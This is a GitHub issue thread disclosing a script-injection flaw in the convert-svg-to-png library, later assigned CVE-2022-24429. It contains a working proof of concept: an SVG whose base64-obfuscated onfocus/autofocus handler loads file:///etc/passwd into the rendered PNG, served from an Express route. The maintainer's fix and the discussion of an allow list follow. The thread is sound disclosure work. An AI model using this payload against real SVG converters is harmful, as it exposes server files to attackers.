Remote Code Injection vulnerable

boldagihororok commented 2 years ago

Affected versions of this package are vulnerable to Remote Code Injection. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.

I've tested on 0.6.2 version at the latest version. I've saw that the code patched with removing "onload" attribute at svg tag. But that was not enough to prevent script execution.

I bypass it with "onfocus" attribute with "autofocus" attribute on svg tag. And with many other svg tags for waiting execution of scripts that assigned in onfocus attribute.

Payload

const { convert } = require("convert-svg-to-png");
const express = require("express");

const fileSvg = `
<svg src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;

const app = express();
app.get("/poc", async (req, res) => {
  try {
    const png = await convert(fileSvg);
    res.set("Content-Type", "image/png");
    res.send(png);
  } catch (e) {
    res.send("");
  }
});
app.listen(3000, () => {
  console.log("started");
});

I checked on the latest version.

Latest version on NPM

boldagihororok commented 2 years ago

I think you should prevent it with whitelisted tag or attributes. No need to allow all the event handling attributes. There are a lots of event handling attributes at svg tag. For example, onload, onfocus, onerror, onstart, onend, ... etc. Try look at this link. https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/Events

boldagihororok commented 2 years ago

@neocotic

neocotic commented 2 years ago

Thanks. I'll try to take a look at this ASAP but busy over the weekend so it might be next week.

I agree that an allow list is most likely the safest option so I'll try to take care that this is comprehensive and well documented. Additionally, I want to see if there's a way of inspecting SVG files loaded via src instead of outright ignoring/rejecting that attribute, given that it currently circumvents existing protections. It'll likely ignored/rejected initially for safety but I hope to add support for it back if I can find a way of checking the resource loads via Puppeteer.

Thanks again for looking into this further.

neocotic commented 2 years ago

I've release 0.6.3 with additional logic that effectively strips all but a subset of the standard SVG element attributes which excludes event attributes and the src attribute.

Please can you take another look and see if you can reproduce any remote code injection attacks with the latest version?

boldagihororok commented 2 years ago

Okay I will. By the way, this bug is assigned to CVE-2022-24429.

boldagihororok commented 2 years ago

I found another issue, I will create new issue for this.

neocotic / convert-svg

Remote Code Injection vulnerable #84